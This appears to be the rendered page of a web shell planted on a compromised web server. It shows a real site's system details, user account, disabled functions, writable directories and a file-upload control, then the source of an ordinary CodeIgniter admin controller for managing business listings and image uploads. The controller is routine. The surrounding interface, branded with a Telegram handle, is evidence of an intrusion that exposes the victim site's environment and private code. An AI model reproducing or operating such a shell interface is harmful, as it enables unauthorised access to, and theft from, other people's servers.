https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/blue-sky.co.id/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/blue-sky.co.id/public_html/application/controllers/admin/Other_businesses.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Other_businesses extends Admin_Controller { 
		
	function __construct() {

		parent::__construct();
		$this->load->model('other_business_m');	  
	}
		
	//this is to list all other_businesses
	public function index() { 
		$this->load->helper('pagination_helper');
		$other_businesses_count = $this->other_business_m->record_count(); 

		add_pagination(base_url() . 'admin/other_businesses/index', $other_businesses_count, 100, 4);

		$this->data['other_businesses'] = $this->other_business_m->get_all_other_businesses(100, $this->uri->segment(4)); 


		$this->data['subview'] = 'admin/other_businesses/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
    }  
 
	public function add() {  

		$other_business = $this->other_business_m->get_new();

		$this->data['other_business'] = $other_business;	

		//validation check in action
		$this->other_business_m->rules = $this->other_business_m->rules;

		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled	
		$this->form_validation->set_rules($this->other_business_m->rules); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run() == TRUE) {
			
			if($_POST) {

				$data = $this->table_data_processing();

				$id = $this->other_business_m->add_other_business($data);

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Other Business berhasil ditambahkan</p>');
				
				redirect('admin/other_businesses');
			}
		} 
		
		$this->data['subview'] = 'admin/other_businesses/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}

    //to edit other_business in admin
	public function edit($id = NULL) {

		//check if id exist. If not exist, show 404.
		$other_business = $this->other_business_m->get($id);

		if (!$other_business) {
			//page not exist
			show_404();
		}		

		$this->data['other_business'] = $other_business;	
		
		//validation check in action
		$this->other_business_m->rules = $this->other_business_m->rules;
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled	
		$this->form_validation->set_rules($this->other_business_m->rules); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run() == TRUE) {
			
			if($_POST) {

				$data = $this->table_data_processing();

				$this->other_business_m->edit_other_business($id, $data);

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Other Business berhasil diedit</p>');
				
				redirect('admin/other_businesses/edit/'.$id);
			}
		} 
		
		$this->data['subview'] = 'admin/other_businesses/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
	}
	
	private function table_data_processing() {
		$data = array();
		
		// Process all text fields
		$data['name'] = $this->security->xss_clean($this->input->post('name'));
		$data['slug'] = url_title($this->security->xss_clean($this->input->post('name')));
		$data['intro_title'] = $this->security->xss_clean($this->input->post('intro_title'));
		$data['intro_content'] = $this->security->xss_clean($this->input->post('intro_content'));
		$data['facility_title'] = $this->security->xss_clean($this->input->post('facility_title'));
		$data['facility_subtitle'] = $this->security->xss_clean($this->input->post('facility_subtitle'));
		$data['testimony_tag'] = $this->security->xss_clean($this->input->post('testimony_tag'));
		$data['testimony_title'] = $this->security->xss_clean($this->input->post('testimony_title'));
		$data['contact_tag'] = $this->security->xss_clean($this->input->post('contact_tag'));
		$data['contact_title'] = $this->security->xss_clean($this->input->post('contact_title'));
		$data['contact_subtitle'] = $this->security->xss_clean($this->input->post('contact_subtitle'));
		$data['contact_email'] = $this->security->xss_clean($this->input->post('contact_email'));
		$data['contact_hours'] = $this->security->xss_clean($this->input->post('contact_hours'));
		$data['contact_phone'] = $this->security->xss_clean($this->input->post('contact_phone'));
		$data['contact_address'] = $this->security->xss_clean($this->input->post('contact_address'));
		
		// Process facility fields
		for ($i = 1; $i <= 4; $i++) {
			$data['facility'.$i.'_title'] = $this->security->xss_clean($this->input->post('facility'.$i.'_title'));
			$data['facility'.$i.'_subtitle'] = $this->security->xss_clean($this->input->post('facility'.$i.'_subtitle'));
		}
		
		// Process intro fields
		for ($i = 1; $i <= 3; $i++) {
			// intro fields are handled in file upload section
		}
		
		// Process gallery fields
		for ($i = 1; $i <= 10; $i++) {
			// gallery fields are handled in file upload section
		}
		
		// Process testimony fields
		for ($i = 1; $i <= 4; $i++) {
			$data['testimony'.$i.'_title'] = $this->security->xss_clean($this->input->post('testimony'.$i.'_title'));
			$data['testimony'.$i.'_name'] = $this->security->xss_clean($this->input->post('testimony'.$i.'_name'));
			$data['testimony'.$i.'_content'] = $this->security->xss_clean($this->input->post('testimony'.$i.'_content'));
		}
		
		// Handle file uploads for image fields
		$image_fields = array('banner_image', 'contact_image', 'logo');
		
		// Add numbered image fields
		for ($i = 1; $i <= 3; $i++) {
			$image_fields[] = 'intro'.$i.'_image';
		}
		for ($i = 1; $i <= 4; $i++) {
			$image_fields[] = 'facility'.$i.'_image';
			$image_fields[] = 'testimony'.$i.'_image';
		}
		for ($i = 1; $i <= 10; $i++) {
			$image_fields[] = 'gallery'.$i.'_image';
		}
		
		foreach ($image_fields as $field) {
			if (isset($_FILES[$field]) && $_FILES[$field]['size'] > 0) {
				$config['upload_path'] = './uploads/';
				$config['allowed_types'] = 'jpg|jpeg|png|gif';
				$config['max_size'] = 2048; // 2MB
				$config['file_name'] = time() . '_' . $_FILES[$field]['name'];
				
				$this->load->library('upload', $config);
				
				if ($this->upload->do_upload($field)) {
					$upload_data = $this->upload->data();
					$data[$field] = $upload_data['file_name'];
				}
			}
		}
		
		return $data;
	}
	
	public function delete_all(){
		$checkbox_for_del = $this->input->post('checkbox_del');
		if (empty($checkbox_for_del)) {
			redirect('admin/other_businesses'); 
		}

		for ($i=0; $i<count($checkbox_for_del) ; $i++) { 
			$id = $checkbox_for_del[$i];

			$this->db->where('id', $id)->delete('other_businesses');  

		}

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Other Business berhasil dihapus</p>');
		echo json_encode(array(
			'result'=>'sukses',
		));
	} 

	//to delete an other_business
	public function delete($id) {

		$other_business = $this->other_business_m->get($id);
		
		if (!$other_business) {  
			//page not exist 
			show_404();
		}		


		$this->db->where('id', $id)->delete('other_businesses'); 

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Other Business berhasil dihapus</p>');
		redirect('admin/other_businesses');
	} 	
}

https://t.me/RX1948 - 2025